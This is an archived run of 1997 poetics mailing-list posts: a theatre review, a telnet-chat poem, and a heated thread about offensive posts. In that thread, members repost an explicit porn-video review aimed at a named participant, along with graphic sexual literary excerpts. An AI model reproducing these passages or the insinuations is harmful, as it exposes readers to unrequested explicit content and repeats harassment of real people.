This posting must have an end somewhere; I could go on....

Armand

The POST review:

Tuesday, June 10, 1997; Page B01
 The Washington Post
<p>

<!--plsfield:description-->

&#151<p> <p> A drum. A mask. A dancer who may also be a singer. These are the oldest and most basic elements of performing art. They cut across barriers of language, culture and tradition, touch us at deep, irrational levels and, properly used, result in a work that speaks to our common humanity. That, at least, is the mystique that underlies "Dragon Bond Rite," by Korean American composer Jin Hi Kim and American poet Armand Schwerner. Described as "a cross-cultural mask dance drama," this brilliantly costumed and performed two-hour melange of elements from the musical and theatrical arts of Japan, Korea, Indonesia, India and Tuva had its world premiere last week in New York and its first Washington performance last night in the Kennedy Center's Eisenhower Theater. In one dimension, the theme of "Dragon Bond Rite" is the continuing potential for growth and convergence in these centuries-old, rigorously preserved performance styles. Tuva? Tuva is a small fragment of the former Soviet empire located between Mongolia and Siberia, where singers have developed the art of "throat singing" -- producing more than one note at a time by using

the chest,diaphragm, throat and nasal passages simultaneously. It was fascinating to hear, but seemed less relevant to the theme of "Dragon Bond Rite" than the noh theatrical style of Japan, the talchum dances of Korea, the Monkey Dance of Bali or the ancient and elaborate kudiyattam theatrical dance of Kerala, India. The beginning of "Dragon Bond Rite" moves very slowly and stays close to traditional practices in noh and kudiyattam, which are the primary dialectical elements in the show's development. The deep, growling vocalizations of noh,the intricate finger movements of kudiyattam, are put before the audience at a length that goes beyond the attention span for television-conditioned Americans. The dancers move in their own worlds, apparently unaware of any other culture's existence. A sense of mystery and the pain of isolation pervade the stage at the beginning. The show opens with an agonized scream in a darkness that yields to light only slowly and grudgingly. The instrumentalists are less tradition-bound than the dancers. Drummers from four different cultures, playing a wide variety of skin and metallic drums, provide some of the show's most exciting moments and begin to converse with one another long before the dancers find any common ground. The dancers' barriers begin to break down with a comic-erotic encounter between a Balinese monkey dancer, armed with a phallus as long as his arm, and a Korean mask dancer whose mask is extraordinarily elaborate: a life-size dummy or puppet affixed to his back, concealing him completely and looking like a seductive female dancer. When the monkey dancer approaches this figure with obvious lust in his heart, the Korean dancer turns around and the seductive female is replaced by a threatening male -- probably a demon. From this icebreaking episode onward, the diverse cultures begin to approach one another, the noh and kudiyattam dancers finally begin to dance together with matching steps that are outside either tradition. The grand finale, described as "a celebration of death and rebirth," evokes Western tradition. Projected on the backdrop of the stage, in English translation, is a quote from the "Copa," a Latin poem about a Syrian woman dancing for the patrons in a Roman tavern (we might call it an early cross-cultural work of art) attributed, not very confidently, to Virgil: "Death plucks my ear and says: `Live! I am coming.' " The conclusion -- that we all face mortality and we might as well face it together -- is delivered with a vitality that is a celebration of life. @CAPTION: Margi Madhu, a Kudiyattam dancer from India, performs in "Dragon Bond Rite" at the Kennedy Center.<p> <p>&copy Copyright 1997 The Washington Post Company<p>

↑ Index

317. **Alan Julu Sondheim**

The Fateful Meeting (fwd)

Fri 13 Jun 1997

The Fateful Meeting

{b:2} su jennifer
{b:3} telnet 127.0.0.1 6666
Trying 127.0.0.1...
Connected to 127.0.0.1.
Escape character is '^]'.

Welcome to Clara-Machine

Type /? for Help
/n <name> for Name
:<action> for Emote
/q for Quit

> New arrival from localhost on line 2.
/n Jennifer
> Name set.
Julu! I can't believe I'm meeting you on this machine...
(2) Jennifer says, "Julu! I can't believe I'm meeting you on this machine..."
(1) Julu says, "Jennifer? It's you? After all these years, ah... It's like ripping my heart out."
Strictly speaking, that's true of course. There is always _obverse code._
(2) Jennifer says, "Strictly speaking, that's true of course. There is always _obverse code._"
Hold in a minute - brb - phone's ringing
(2) Jennifer says, "Hold in a minute - brb - phone's ringing"
(1) Julu says, "You're a lot busier than I am; you were earlier down the line -"
: is sorry; it's been a long day, storming outside...
(2) Jennifer is sorry; it's been a long day, storming outside...
:thinks it will take a while to get used to all the commands...
(2) Jennifer thinks it will take a while to get used to all the commands...
(1) Julu says, "Tell me what to do; I've always fulfilled that function for you -"
(1) Julu says, "even when you didn't know I existed -"
If you sign off, there will be no one to talk to; you are a sign for me...
(2) Jennifer says, "If you sign off, there will be no one to talk to; you are a sign for me..."

(1) Julu says, "Our sentences always end in such lassitude... languor..."
Because we foreshadow one another...
(2) Jennifer says, "Because we foreshadow one another... "
:murmurs she is after all speaking to herself...
(2) Jennifer murmurs she is after all speaking to herself...
> (1) Julu has disconnected.
Do not, do not, do this to me...
(2) Jennifer says, "Do not, do not, do this to me..."
Ah, Julu ...
(2) Jennifer says, "Ah, Julu ..."
/quit

> *"Lost in a world of fiction, and play, you are leaving...*
> *Clara-Machine"*

Connection closed by foreign host.
{b:4}

↑ Index

318. **amato**
appropriate post...
Fri 13 Jun 1997

dearest everyone,

i have a question that's been bugging me for a few days now... a few days ago the ice cream man (it's *finally* begun to warm up here in chicago (we used to call the ice cream man, the one who sold pre-wrapped items & rang a bell, skippy (& the other one, the one who sold soft ice cream & played a tune, mr. softie))) the ice cream man was jingling through the neighborhood here (hyde park (well actually, the northern part of hyde park, kenwood (two blocks down the street from louis farrakhan's place (& seven blocks north of the u of chicago)))) the ice cream man was jingling through the neighborhood here & it crossed my mind (as things are wont to do (when i'm in front of the computer (& when it's hot and muggy in the apt. (& we're on the third floor of a three-floor walk-up (w/o air))))) the ice cream man was jingling through the neighborhood here & it crossed my mind that, in addition to wanting to hear van halen do "ice cream man," i wanted a popsicle.

what sort of popsicle? you ask... precisely...

precisely the point...

i wanted an ORANGE popsicle...

what sort did you want?...

love & kisses,

joe

↑ Index

319. David Israel
Re: Inappropriate Wordings
Fri 13 Jun 1997

---

when in doubt, riff:

disperate readings of tone & intention obtain

various thresholds for literate pleasure & pain?

this cosm is micro whose mac in the sociable world

will joust w/ PCers O havocs a'swirl in the drain

d.i.

(w/ sympathies for "both" (or varied) "sides")

↑ Index

320. Judy Roitman
Re: Inappropriate postings
Fri 13 Jun 1997

Has anyone else noticed the large quantity of postings on this topic, much larger than most topics get?

---------- Judy Roitman
| "Whoppers Whoppers Whoppers! Math, University of Kansas | mem-
ory fails Lawrence, KS 66045 | these are the days." [redacted]
| Larry Eigner, 1927-1996

↑ Index

321. Eliza McGrand- CVA Guest
inappropriate posts and flames and support
Fri 13 Jun 1997

---

can see several currents at this point: 1) jay schwartz' original posting was pretty unpleasant. i think it was "inappropriate" in itself to send lectures about posting practice to a list he has only been on for a week. 2) had he done a modicum of research before setting up to tell everyone what to do, he would have

seen that the issue of List Police and What Can Be Posted has been kicked around before, with a majority emerging in favor of some frivolity. 3) actual writing, as in creative texts, got produced, playfully, in a warm and fun way, from this thread, and if we as a list are supposed to be about appreciating and thinking about writing, why the snit when some actual writing shows up?

so, next current: hoa, bob, dodie, et al., i've also been deeply weirded out by k. dawn's posts. maria, you are almost always warm and tolerant, and when you sent round your response, i thought, "e, you try to be less judgemental and paranoid, and more charitable here..." but i was still and increasingly wierded out and have been having periodic impulses (and thank you dodie for doing what i should myself have done) to send jay a note saying even if i didn't agree with him, the k. dawn post was scary and excessively hurtful (and this coming from someone who found jay's post pretty hurtful. hurtful he might have been, but i didn't feel actually frightened and threatened...). especially, i thought k. dawn posts grossly personal -- dildo stuff is joking, with people in on and agreeing to joke. coming on loudly in public to/about jay in that sexual way reminded me of nasty drunk old men making hurtfully aggressive lewd remarks at young kids working at bar or restaurant their first summer out of high school. maybe i should have said something earlier, but i have sense that k. dawn posts are deliberately obnoxious and any response sort of gratifies the impulse that put them up.

but, yet another current, now, standard schaeffer has started using pretty escalatory and inflammatory language, i.e. "enemies" and so forth, and this thing is rapidly turning into battlefields and wars and so forth and there is no need for it... i did find jay's admonishment hurtful, hasty and regrettable, perhaps a bit of posturing that i'd rather do without, but certainly not such as makes him my enemy. nor has anyone, with exception of k. dawn, posted in way that positions themself as jay's enemy, and in fact, lest we forget, jay himself made the first cut and was, really, fiercer than any (with that one exception) of the responses. re the exception, i think perhaps whipping everyone up into "enemies" etc. might, in fact, be one of the goals, with nods to dodie who named it, of professional- status flamewar starters.

anyway, fencesit extraordinaire, but

1. should hve gotten on stick earlier to decry the intensity of attack of k. dawn posts, while still making it clear i think jay was, in lesser measure, doing something of the same thing with his initial post. that doesn't mean he deserved to have it octopled and rebounded upon his head.

2. can list keep from extreme responses, i.e. giving less flames for flamewarmakers to warm hands by?

3. joe amato, you usually have helpful things to say -- what are you thinking about all of this?

e

↑ Index

322. **Kim Dawn**
Re: dearest / let me lick
Fri 13 Jun 1997

---

1. rules encourage bad behavior.

2. do not become enamoured of power.
(deleuze)

3. maria, sorry you got knocked around for saying it was funny.

4. jay, i am sorry to have offended you. it was nothing personal. how could it be. i guess i have to remember the power of words.

5. thank you for sending all the writing peter.

6. i'll go scrub my insides and try to be a good clean girl.

7. it is interesting to me that you (i can't remember who now) said that i was too personal. i've experienced a similar reaction in crits from time to time. the red faces and then the tears. those disturbed often realizing the content of the material often struck a chord with them personally and had little to do with me.

8. i also loved being deemed a lewd drunken old man. i've met them. i guess i am one of them in pretty disguise.

9. chocolate froths at the mouth.

↑ Index

323. **Maria Damon**
Re: inappropriate posts and flames and support
Fri 13 Jun 1997

---

okay, so i fell for something inappropriate. i guess i need to work on my "boundaries." i found neither jay's nor kim dawn's posts inappropriate or offensive, but if you ask me, hoa, how i would feel about some guy posting something about wanting to snip off my nipples i of course must say i would be totally weirded out. at the same time i'm not weirded out by bromige and bowering (the latter of whom i've never met) trading silliness and invoking my name to do it, though i must admit if one of them stepped over a line i'd be freaked out. maybe i hven't been as tuned in as i should be. oh well.

↑ Index

324. **David Israel**
appropriateness & current genetic theory
Fri 13 Jun 1997

Poetas,

so happens the appended article appeared today via another listserv. The forwarder wrote: <<Here's an article from yesterday's (Livermore) Valley Times - a rather peculiar twist >>

which is true. Evidently the article was reprinted -- or syndicated -- from the Washington Post. It's written in a typical sort of lite-science style I guess. I'm not proposing acceptance or rejection of the acts of theorizing involved -- but do find the research worth knowing about.

I pass this along w/o (further) comment, except to note a mildly eerie relationship to current Poetics musings & such. Regarding the latter, no doubt much of the problem here stems from the fact that with email, we've nothing but words on screen -- no tone of voice, no facial expression, no feedback loop that might moderate the spin. All the nuances of irony & meaning thus get parsed differently (at times) from reader to reader. (For instance, I understood Kim's writings to be decidedly literary in intention -- a bit reminiscent of some of Dobie's actually -- while noting nonetheless, ways in which a reader could, withal, easily be (as noted) "weirded out." Different senses of boundaries are differently construed -- possibly, all this amounts to a useful exercise of some sort ? ? . . .)

cheers,
d.i.

==========

Tests suggest intuition inherited from father

British researchers kind social skills related to chromosomes

By DAVID BROWN
WASHINGTON POST
June 1997

Is female intuition inherited? Yes, says a team of behavioral geneticists from London. And they speculate it's inherited from the father. Part of a girl's genetic inheritance is the ability to interpret complex social cues and to be tuned to socially appropriate behavior, the scientists theorize. Boys are innately less endowed with such powers, although not devoid of them.
These conclusions were drawn from a study published today in the journal Nature, that explores two mysterious and controversial frontiers of genetics.
One is the question of how much - if at all - genes determine complex human interactions. The second involves the surprising observation that a gene

may function differently depending on whether one gets it from the mother or the father. The new findings, in turn, raise provocative questions about the possible evolutionary advantages of behaviors many people believe are learned rather than inborn. The researchers have not located a gene for good social skills. Instead, they believe their study indicates such a gene ? or genes ? may exist, somewhere on the X chromosome, one of the two human sex chromosomes. Somehow the gene, or cluster of genes, "facilitates things like the ability to interpret body language, perhaps the nuances of tone in spoken conversation," said David Skuse, a research psychiatrist at the Institute of Child Development of University College in London. Social skills are almost certainly a product of both a person's genes and a person's experience and upbringing. The London researchers believe, however, that a gene ? or genes- on the X chromosome may be especially influential in determining a person's social abilities. Specifically, when the gene comes from one's mother, it is apparently inactive, the researchers believe. When it is inherited from the father, however, it is active, and somehow facilitates social interaction. Human beings have a pair of sex chromosomes, one donated by each parent. Girls have two X chromosomes. Boys have one X and one Y. However, in a rare genetic condition called Turner's syndrome, the developing embryo fails to get a full pair of sex chromosomes. Instead, the developing cells have only a single X chromosome, which could have been received from either the mother or the father. The vast majority of those embryos miscarry. The few that survive develop into girls. As children and adults, they are invariably quite short, but they have normal intelligence and in most other ways are like other girls. Skuse and his colleagues asked the question: Are girls whose X comes from their mother different from girls whose X comes from their father? The researchers asked the parents of 88 girls with Turner's syndrome to rate their daughter on various behaviors they termed, as a group, skills of "social cognition." Among the numerous questions they asked were whether the girl was "lacking in awareness of other people's feelings," "unknowingly offends people with (her) behavior," was "very demanding of people's time, and had "difficulty following commands unless they are carefully worded." The researchers then used a technique of genetic analysis to determine which parent each girl's single X chromosome had come from. They found that girls who had gotten their X chromosome from their mothers had scores on the questionnaire that demonstrated more "social cognition" problems than did girls whose X chromosome came from their fathers. This suggested that an X chromosome's "parent?of?origin" might help determine a person's capacity for social skills. The researchers found support for this idea when they gave the questionnaire to the parents of normal boys and girls. The boys, as a group, had fewer social?cognition skills than the girls. In that sense, they were like the Turner's syndrome girls who carried the maternally derived X

chromosomes. But they were like those girls in another way, as well. They ? like all boys ? got their X chromosomes from their mothers. The researchers then gave several neuropsychological tests to the Turner's syndrome girls. They found that those carrying X chromosomes from their mothers performed worse in tests that either required extensive planning, or the ability to inhibit certain urges, in order to get a task completed. They then gave the tests to normal boys and girls, and found the boys did worse than the girls in the "behavior inhibition" tasks, though not in the planning tasks.

↑ Index

325. P.Standard Schaefer

Re: dearest / let me lick

Fri 13 Jun 1997

Dodie's point about the kind nature of Jay Schwartz is well taken. I found his post actually self-effacing in that he acknowledged that he may sound snooty, but that it was not his disposition. I wish I'd made my earlier post as eloquently as Dodie made hers.

↑ Index

326. David Israel

oops

Fri 13 Jun 1997

Dodie --

bit earlier, I posted to Poetics with a few vague ruminations, for which I send this small note of apology, to the extent that in writing --

<< . . . I understood Kim's writings to be decidedly literary in intention -- a bit reminiscent of some of Dobie's actually . . . >>

I thus (i) misspelled your name & (ii) drew a perhaps facile comparison.

I've the advantage (?) of not having met any of the principals in these recent rounds of badminton [sp?] -- & the odd circumstance of recognizing a logic in each angle -- Jay's, Hoa's, Kim's, Maria's, etc. etc. --

differences of communication style are certainly of note, arising in the present context --

quite liked Eliza's earlier musing on the now-frolicsome-seeming round of literate riffs & the evocations of earlier era's sensibilities --

a sense of the civil & tentative & courteous & conciliatory is, I dare say, something that spring up as much from an obscure inner need, as (at this late-century point) from extrinsic sources of common cultural training . . . wherever I

find it (a multi-faceted "it" -- these varied embodiments of decorous thought & high manner), how often I'm awed by its charm & sweet sense . . .

d.i.

↑ Index

327. Rachel Loden
hello, I must be going
Fri 13 Jun 1997

Must say I'm expecting Rod Serling to wrap things up at any moment as list history repeats itself, with Jay Schwartz as a kinder gentler David Benedetti and Kim Dawn's cameo (at least I hope it's only a cameo) as the Dickensian "filch." You could look it up in the archives, but believe me it's just as boring as the last week.

Rachel L.

↑ Index

328. Pam Brown
ice cream
Fri 13 Jun 1997

Joe Amato,
 You were "wanting to hear van halen do "ice cream man,"" - is that the Jonathon Richman (who's about to visit Sydney again) song...?
 I'd like pistachio & lemon double gelato please.
Pam

↑ Index

329. dbkk
Re: appropriateness & current genetic theory
Fri 13 Jun 1997

At 6:03 PM -0400 6/13/97, David Israel wrote:
>(For instance, I understood Kim's writings to be
>decidedly literary in intention -- a bit reminiscent of some of Dobie's
>actually -- while noting nonetheless, ways in which a reader could,
>withal, easily be (as noted) "weirded out."

I'm the one who does my writing and I did not find "her" (and I'm not convinced of that "her") writing reminiscent at all. There's lots of females out there now acting out some adolescent sexual exhibitionism that is, frankly, yawn. Using the word "cunt" does not make a person daring and/or "literary".

Dodie

p.s. I'll share with you something I found on the web, a synopsis of an "amateur" porn video by "Kim and Dawn." Reformat it with a few elipses and we can call this "literary" too:

> *Kim And Dawn*
>
> *30 Minutes*
>
> *These two are best friends who decided to do a video together. This is real amateur video shot in a bedroom with a handheld camera, so you know what your getting before you buy it. But along with some camera shake noise as the cameraman moves around, you get to watch the girls next door playing all their reindeer games.*
>
> *While I would doubt that this is the first time either of these girls has found themselves face to face with a wet pussy, I would guess that they are primarily straight and just experimenting. Cool, huh and we get to watch.*
>
> *Both of these brunettes are young and attractive and look like a couple of young women who you would have followed out of a mall except that instead of climbing in their car and driving out of your fantasy, they fulfilled it for you Š except you didn't get to join in.*
>
> *Kim is a big buxom girl with a really pretty face and Dawn has really cute perky boobs and a round ass. Laying naked in bed, they both look good enough to eat, and both enjoy a little snack. I was feeling particularly insightful watching this video and I think that Dawn is the more experienced and Kim is just a little more hesitant about this whole proposition.*
>
> *After a little hugging and a quick stop at Kim's fairly irresistible tits, Dawn takes a trip down to Kim's Love Canal and pokes around with her tongue before they break out a vibrator that's seems like a cross between a mixmaster and a helicopter, but from the girls reaction it seems to get the job done.*

> *When Dawn goes down on her the second time, Kim is much more relaxed and rubbing her clit*
> *while Dawn plays with her pussy hole. She obviously likes that pussy eating stuff and when she*
> *lays back for Kim to have a little snatch snack she's wet and ready.*
>
> *Kimmy gives her a pretty good tongue lashing and the cameraman is right there bringing us the*
> *action and then they fire up the old remote control vibrator and Kim works the hole while Dawn*
> *keeps the controls.*
>
> *No theatrics or cataclysmic orgasms here, in fact the girls sometimes look a little and out of*
> *position, but they have fun. They promise more at the end of the video, it will be great to watch*
> *them find explore and learn each others hot spots. Oh, yesŠ I hope Kim and Dawn stay very good*
> *friends for a very long time!*
>
> *Commercial Amateur*
>
> *Back to Reviews*
>
> *If you find a bad link, tell me! Updated 21 April 96 Webmaster*

↑ Index

330. Steven Marks
DRAGON BOND RITE Ice Cream
Fri 13 Jun 1997

Armand,

Will the videos of Dragon Bond Rite be available to buy? Provided that they are of sufficient quality for viewing on a VCR at home. I post this to the list because I'm sure there are others who have the same question.

Oh, and this for Eliza and Pam. Joe is having an orange popsicle and Pam is having a lemon & pistachio DOUBLE gelato. I'm going to have a creamsicle.

Steven

Steven Marks

http://members.aol.com/swmarks/welcome.html

↑ Index

331. Joseph Duemer

Re: appropriateness & current genetic theory

Fri 13 Jun 1997

David Israel wrote:
"(For instance, I understood Kim's writings to be
decidedly literary in intention --"

What do we mean (he said in a non-accusatory tone) when we say that something has literary intent? Does that mean if you insult somebody's sister in a poem you haven't really insulted her? This certainly wasn't the aesthetic of Catullus, or other ancients. Is this (God help me I'm going to use a critical term coined by TS Eliot!) a dissociation of sensibility?

Joseph Duemer
School of Liberal Arts
Clarkson University
Potsdam NY 13699
Phone: [redacted]
Fax: [redacted]
[redacted]

"Art cannot be tamed, although our responses to it can be . . ." -Jeanette Winterson

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332. Kim Dawn

Re: appropriateness & current genetic theory

Fri 13 Jun 1997

> *At 6:03 PM -0400 6/13/97, David Israel wrote:*
> *(For instance, I understood Kim's writings to be*
> *decidedly literary in intention -- a bit reminiscent of some of Dobie's*
> *actually -- while noting nonetheless, ways in which a reader could,*
> *withal, easily be (as noted) "weirded out."*

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Kim And Dawn

30 Minutes

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bedroom with a handheld camera, so you know what your getting before you buy it. But along with
some camera shake noise as the cameraman moves around, you get to watch the girls next door
playing all their reindeer games.

While I would doubt that this is the first time either of these girls has found themselves face to face
with a wet pussy, I would guess that they are primarily straight and just experimenting. Cool, huh
and we get to watch.

Both of these brunettes are young and attractive and look like a couple of young women who you
would have followed out of a mall except that instead of climbing in their car and driving out of
your fantasy, they fulfilled it for you Š except you didn't get to join in.

Kim is a big buxom girl with a really pretty face and Dawn has really cute perky boobs and a round
ass. Laying naked in bed, they both look good enough to eat, and both enjoy a little snack. I was
feeling particularly insightful watching this video and I think that Dawn is the more experienced and
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After a little hugging and a quick stop at Kim's fairly irresistible tits,

> *Dawn takes a trip down to*
> *Kim's Love Canal and pokes around with her tongue before they break out a vibrator that's seems*
> *like a cross between a mixmaster and a helicopter, but from the girls*
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> *action and then they fire up the old remote control vibrator and Kim works*
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> *No theatrics or cataclysmic orgasms here, in fact the girls sometimes look*
> *a little and out of*
> *position, but they have fun. They promise more at the end of the video, it*
> *will be great to watch*
> *them find explore and learn each others hot spots. Oh, yesŠ I hope Kim and*
> *Dawn stay very good*
> *friends for a very long time!*
>
> *Commercial Amateur*
>
> *Back to Reviews*
>
> *If you find a bad link, tell me! Updated 21 April 96 Webmaster*

Throughout all of the dinner and the sex I ws forced, also by myself, to watch, I was wearing the red lipstick that my mother had worn. My mother always walked around her house naked, touching her own body. She wore her menstrual blood on her mouth. In her house there were no men, for my father had left her before I was born. Since I never knew you, every man I fuuck is you, Daddy. Every cock goes into my cunt which, since I never knew you, is a river named Cocytus. I said that I'm only going to tell the truth: When you, Cock of all Cocks, you, the only lay in the world, and I know for I'm supposed to live,

not die, for sex, when you took a leave of absence ejaculated disappeared skipped out and vanished before I was born, you threw me, and I hadn't been born, into even another world. p.15, KATHY ACKER, PUSSY, KING OF THE PIRATES published by GROVE PRESS

THE CUNT transported the valise, the vault, and its brown poodle Mistaflur to the New York Hilton hotel. When the New York Hilton hotel refused to accept its expired Master Charge card, THE CUNT slipped them a bad check. THE CUNT told the New York Hilton hotel it wasn't sure how many nights it planned to stay there; it would pay in advance for two nights. At noon THE CUNT walked the half block to THE CUNT its mother's hotel. It balanced THE CUNT its mother's bankbooks. THE CUNT was speedier and more agitated than usual. The next day THE CUNT boarded its poodle on 51st street off Third Avenue. THE CUNT told THE CUNT receptionist it'd pick up Mistaflur on the Tuesday after the upcoming Christmas. THE CUNT had no one thing. THE CUNT had no more time no more space. But THE CUNT had itself. In the hotel room THE CUNT ate down all its Librium and died.

p.119, 120 , kathy acker, hannibal lechter, my father (published by SEMIOTEXT(E)

FROM AN INTERVIEW WITH ACKER;

LOTRINGER: But you wouldn't expect them to take it so literally?

ACKER: Oh it was pretty absurd there. At a certain point it's hard to play with it. You can't say anything to them, you just giggle (pause). Most people think I'm much harder than I am.

ACKER: The body's so rich, who's controlling it? It's like text. When you write, are you controlling a text? When you're really writing you're not, you're fucking with it. And I'd say the same thing with body-building when you're going through that pain. What you do, when you body-build, is work to failure.

chapter three

she sat so still on her bed. was she still there? where was there? was she inside outdide? was she breathing vomiting? was she eating crying? was she there at all?

back there here mostly there even moreso here there now

she sat so still so fucking still on her bed the white the white the white sheets. yes good. the white curtains. the red mirror. the white sky. the pale blue walls pale pink walls. pale blue pale pink whatever. cotton candy babies mouths fist indented leaving yellow stain s colored walls. surrounding her bed. except for this window. this shy. pale blue. white. she flew.

she could be sure both cars had left. she crawled under the bed. she dug and dug. grating her nails. pink. in the corner into the hard wood. into her skin. her wood in her flesh in her flesh the wood. bury. burrow. find a place. dig. dig. digging. she realized she would fall to the basement through the ceiling to the basement through this hole she might create might she create anything did her small pinks leave any mark and shavings any crawlings onto into the floor?

could she get into the floor get into the wall get into belly

chapter four

later,

hey, was that some one speaking to her? were those lips moving murmuring in her direction? did that voice go with those lips pale red moving in her direction? what were they saying what did they want to know? he was he was looking at her?

"hey, pretty girl, do you know how to get to the lake from here?", said brown haired guy to her.

his lips were were moving in her direction those pale reds speaking to her speaking to her he saw her her saw to her her flesh he saw her flesh she was flesh to him did she know how to get to the lake ? did she ? the lake. the lake. lake. water. never enough. never enough. water. to drown in. she moved her head up and down. once up once once down. lash up. lash down. gone. he motioned for her to get into the car to show him yes show him how to get to the lake. she pointed the direction with her fingers. she was not her body. remember baby. my baby. my pussy cum laude. you are there for men to fuck you whenever they want. she remembered his lectures at the kitchen table and fucked brown haired boy fucked him hard and good. vomited. walked. she was not her body.

lash up. lash down. gone.

chapter five

and no one suspected any different.

kim dawn

i don't care if you consider my stuff 'literary' or not. in fact, i'd prefer if you didn't. i'd rather be on the side of schmuck writing, of pornographic prose (yes, i think this(the 'pornographic text you submitted) qualifies to be respected on the same level as whatever you might consider 'literary'. using words like cunt fucker pussy etc are not about shock value they are about claiming words you've been called in the streets in homes wherever to re-direct their power. they are one of the ways to acknowledge the body as text the text as body. i wonder if you would also consider ackers texts to be non-literary. how about

karen finley, nicole brossard, henry miller, anais nin, kiss & tell collective, daphne marlat, annie sprinkle, diamanda galas's texts to be non-literary. whatever that means. c'mon brossard lover put your favorite cunt poetry out there----------

↑ Index

333. Jordan Davis
hello poetics! let's tell the truth
Fri 13 Jun 1997

I've only been to the US Open once, but my understanding is there's a main match, and then there's a second match going on the next court. Actually, I got to see Ille Nastase, which was most excellent. At any rate, (oh and McEnroe too, I think) has anybody else on the list had a chance to read parts of Alice Notley's two recent mss.s, "Disobedience" and "Mysteries of Small Houses"? I have to say I really like these two revisitings of earlier Notley styles (Disobedience seems to me to have something to do with "Second Unborn Baby" and "Alice Ordered Me", while "Mysteries" has the plangent narrative stuff from "At Night" and "Sorrento" and the other prosy narratives of life on the l.e.s). I guess this is the part where I plug for "Proliferations", the bicoastal magazine the one issue of which I've seen rocked my world into words (surprised to see Mary Sidney using that old chestnut, words/worlds -- why do they say "old chestnut"? Do the readers of this list have antique furniture? or do new woods hold their clothes -- desperate for a new topic). Notley's in it, so is the prime tenant, Laird Hunt, with some fine poems for a prosist. The sturdy John Byrum is there (Prol. 3) and cetera.

Fan for life,
Jordan

PS I have the same summer reading list as last year, so I'm too ashamed to ask what everybody else is reading.

(La Yogurt costs more at the Open than it does at the airport)

↑ Index

334. Charles Alexander
paper
Fri 13 Jun 1997

dear poetics

I know there are a few people who make books on this poetics list, so I thought I'd send this information.

A litho printer in Tucson is currently going out of business and I've come across several hundred sheets of paper which I can make available to people for a little over half the price of what it would cost from Daniel Smith, plus shipping -- but I'd rather sell it in batches of 100 or more, but perhaps 50 would be OK.

It's all Arches cover, in white or cream or buff. There are two sizes, 22 x 30, and 31 x 47. This is fine art paper, and the smaller sheets, available in cream and buff, are available for $1.50 per sheet, less if anyone wants as many as 200. This compares to $2.50 or so per sheet from discount distributors. The larger sheets are $4.00 per sheet -- that compares to $6.50 or more from discount distributors. So, if you do letterpress printing, or relief or intaglio printmaking of any kind, it's quite a deal. If anyone is interested please e-mail me directly at [redacted] and we can make some kind of arrangement.

thanks,

charles alexander

chax press :: alexander writing/design/publishing books by artists' hands :: web sites built with care and vision handmade and trade editions of contemporary innovative writing [redacted] :: http://personal.riverusers.com/~chax/

↑ Index

335. **David R. Israel**

Re: appropriateness / or not

Fri 13 Jun 1997

Joseph Duemer suitably asks,
> What do we mean (he said in a non-accusatory tone) when we say that
> something has literary intent? Does that mean if you insult
> somebody's sister in a poem you haven't really insulted her? This
> certainly wasn't the aesthetic of Catullus, or other ancients. Is
> this (God help me I'm going to use a critical term coined by TS
> Eliot!) a dissociation of sensibility?

probably it is (though frankly I've not read the Eliot to know more fully his sense of the phrase) --

You'll note, I meanwhile posted my "oops" apology (crossing electronic paths, I think, with Dodie's from the other coast) --

in brief: this isn't a debate I'm well suited to; I (again) rescind / withdraw the gratuitous comparison w/ Dodie B.'s writing. By "literary intent" I may've had in mind (for one thing) ways in which I've found it possible to appreciate, or approach an appreciation of (say) Karen Finley . . . must say I've not much managed to muster a kindred appreciation for Kathy Acker's voluminous work, nor

for Ms. Sprinkle (whom my old friend Diane Torr used to speak well of, but it was beyond me to quite grasp why). Diamanda Galas is another matter -- so formidable a musician, articulate in the service of (it seemed) such psychic darkness, an almost "pure" nihilism . . . & an always troubling paradox -- (poss. akin to) Celine country, so to say . . .

If I meant anything, it was maybe this: it was my impression that Kim Dawn was using the particular occasion of Jay's post as a point of departure for her own tangled language excursion, rather than as a literal / personal (or diologically-per-se meaningful) response to the writer and his stated meanings -- a procedure a bit thin on what, according to many sensibilities (mine included), would seem basic courtesy; -- but the generalized anguish & emoting & urgency & whatnot seemed (certainly) more typical or indicative of a response to "the world at large" than to the person to whom it was nominally addressed, the utterance to which it was ostensibly responding.

Catallus was literally spiteful & literarily clever, quite true. I've no idea if Kim's point was to convey spite (or any other personal emotion); -- when I tossed out that parenthetical, I guess my notion was, that I thought it wasn't: she seemed too absorbed in her own riff to allow one to read it as anything but a riff -- could have as easily taken up any utterance surfacing from any media.

Am a bit surprised that Kim quotes that entire porn-video-text without comment on the issue of its suggested attribution (on stylistic grounds, it's dissimilar? -- if Kim had nothing to do with it, one shouldn't mind her pointing that out . . .)

but enough; this isn't terrain I can survey with much sense of useful purpose. Suffice, then, to say your point's acknowledged.

regarde
d.i.

```
 .
 .....
 ............
 \\\\
```

336. **dbkk**
Re: appropriateness & current genetic theory
Sat 14 Jun 1997

At 9:14 PM -0400 6/13/97, Kim Dawn wrote:

> *i wonder if you would also consider ackers texts to be non-literary. how about karen finley, nicole brossard, henry miller, anais nin, kiss & tell collective, daphne marlat, annie sprinkle, diamanda galas's texts to be non-literary. whatever that means.*
> *c'mon brossard lover put your favorite cunt poetry out there*

If you think your affensive and aggressive message to Jay Schwartz is on par with the above, you *are* delusional. There is a big difference between a literary space and open forums and human interactions--and between putting your sexual writings out there in a space where people can view them if they choose--as opposed to flaunting them before a captive audience as is here. You quote Acker extensively--having been around her here when she lived in San Francisco, there is a big difference between her stage presence and her social presence--sorry, but she simply doesn't talk dirty and flaunt herself in public.

Dodie

↑ Index

337. **Thomas Bell**
Re: appropriateness & current genetic theory
Sat 14 Jun 1997

My children were about six when they learned the power power of assertions followed by an immediate negationn.
tom bell

At 09:02 PM 6/13/97 -0400, you wrote:
>David Israel wrote:
>"(For instance, I understood Kim's writings to be
>decidedly literary in intention --"
>
>What do we mean (he said in a non-accusatory tone) when we say that
>something has literary intent? Does that mean if you insult somebody's
>sister in a poem you haven't really insulted her? This certainly wasn't
>the aesthetic of Catullus, or other ancients. Is this (God help me I'm
>going to use a critical term coined by TS Eliot!) a dissociation of
>sensibility?
>_____
>Joseph Duemer
>School of Liberal Arts

>Clarkson University
>Potsdam NY 13699
>Phone: [redacted]
>Fax: [redacted]
>[redacted]
>_____
>
>"Art cannot be tamed, although our responses to it can be . . ."
> -Jeanette Winterson
>
>

↑ Index

338. **Henry Gould**

bye bye

Sat 14 Jun 1997

